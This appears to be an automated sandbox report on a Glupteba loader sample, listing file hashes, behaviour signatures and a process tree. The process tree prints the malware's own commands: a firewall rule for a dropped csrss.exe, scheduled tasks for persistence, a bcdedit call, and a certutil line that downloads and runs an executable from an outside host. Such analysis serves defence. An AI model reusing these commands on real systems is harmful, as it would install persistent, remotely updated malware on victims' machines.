Analysis

  • max time kernel
    117s
  • max time network
    109s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-09-2024 06:30

General

  • Target

    ed0be32bc88cb47763a1069db7000280N.exe

  • Size

    4.2MB

  • MD5

    ed0be32bc88cb47763a1069db7000280

  • SHA1

    eabf86e954511ad3ca5461b224158e81d7b7e10b

  • SHA256

    a5e07ca8b0b2b5ac664057fb42250c4f918a7f5afb8abdcdc7d846b2366fd621

  • SHA512

    603d77942c4de7aae78fe2dad4e83edcabc13503588a83128bef4dfe40f5fe01b001be2dad8183d39aa3710c92b61e3aadaad3ac1013426a6d5ad334a792eaa3

  • SSDEEP

    98304:L72vd/avXj439LgowA667efARCUQuFOskJdGEKi/gOITGLc/GTQujpYA26RkCvJu:nsavXj6MN/fAG2Q4OKGVRW2qli92RuE6

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 17 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ed0be32bc88cb47763a1069db7000280N.exe
    "C:\Users\Admin\AppData\Local\Temp\ed0be32bc88cb47763a1069db7000280N.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4320
    • C:\Users\Admin\AppData\Local\Temp\ed0be32bc88cb47763a1069db7000280N.exe
      "C:\Users\Admin\AppData\Local\Temp\ed0be32bc88cb47763a1069db7000280N.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4716
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3396
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:4732
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4684
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:228
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4840
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:4668
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:3500
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4716 -s 728
        3⤵
        • Program crash
        PID:1608
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4320 -s 796
      2⤵
      • Program crash
      PID:2904
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 4320 -ip 4320
    1⤵
      PID:1396
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4716 -ip 4716
      1⤵
        PID:4760

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

        Filesize

        1.7MB

        MD5

        13aaafe14eb60d6a718230e82c671d57

        SHA1

        e039dd924d12f264521b8e689426fb7ca95a0a7b

        SHA256

        f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

        SHA512

        ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

      • C:\Windows\rss\csrss.exe

        Filesize

        4.2MB

        MD5

        ed0be32bc88cb47763a1069db7000280

        SHA1

        eabf86e954511ad3ca5461b224158e81d7b7e10b

        SHA256

        a5e07ca8b0b2b5ac664057fb42250c4f918a7f5afb8abdcdc7d846b2366fd621

        SHA512

        603d77942c4de7aae78fe2dad4e83edcabc13503588a83128bef4dfe40f5fe01b001be2dad8183d39aa3710c92b61e3aadaad3ac1013426a6d5ad334a792eaa3

      • memory/4320-5-0x0000000005650000-0x00000000059F7000-memory.dmp

        Filesize

        3.7MB

      • memory/4320-1-0x0000000005650000-0x00000000059F7000-memory.dmp

        Filesize

        3.7MB

      • memory/4320-4-0x0000000000400000-0x0000000004FFB000-memory.dmp

        Filesize

        76.0MB

      • memory/4320-0-0x0000000000400000-0x0000000004FFB000-memory.dmp

        Filesize

        76.0MB

      • memory/4320-7-0x0000000005A00000-0x00000000060F6000-memory.dmp

        Filesize

        7.0MB

      • memory/4320-6-0x0000000000400000-0x0000000000B10000-memory.dmp

        Filesize

        7.1MB

      • memory/4320-2-0x0000000005A00000-0x00000000060F6000-memory.dmp

        Filesize

        7.0MB

      • memory/4320-3-0x0000000000400000-0x0000000000B10000-memory.dmp

        Filesize

        7.1MB

      • memory/4684-16-0x0000000000400000-0x0000000004FFB000-memory.dmp

        Filesize

        76.0MB

      • memory/4684-17-0x0000000000400000-0x0000000004FFB000-memory.dmp

        Filesize

        76.0MB

      • memory/4684-18-0x0000000000400000-0x0000000004FFB000-memory.dmp

        Filesize

        76.0MB

      • memory/4684-19-0x0000000000400000-0x0000000004FFB000-memory.dmp

        Filesize

        76.0MB

      • memory/4684-20-0x0000000000400000-0x0000000004FFB000-memory.dmp

        Filesize

        76.0MB

      • memory/4684-21-0x0000000000400000-0x0000000004FFB000-memory.dmp

        Filesize

        76.0MB

      • memory/4684-22-0x0000000000400000-0x0000000004FFB000-memory.dmp

        Filesize

        76.0MB

      • memory/4684-23-0x0000000000400000-0x0000000004FFB000-memory.dmp

        Filesize

        76.0MB

      • memory/4684-24-0x0000000000400000-0x0000000004FFB000-memory.dmp

        Filesize

        76.0MB

      • memory/4684-25-0x0000000000400000-0x0000000004FFB000-memory.dmp

        Filesize

        76.0MB

      • memory/4684-26-0x0000000000400000-0x0000000004FFB000-memory.dmp

        Filesize

        76.0MB

      • memory/4716-12-0x0000000000400000-0x0000000004FFB000-memory.dmp

        Filesize

        76.0MB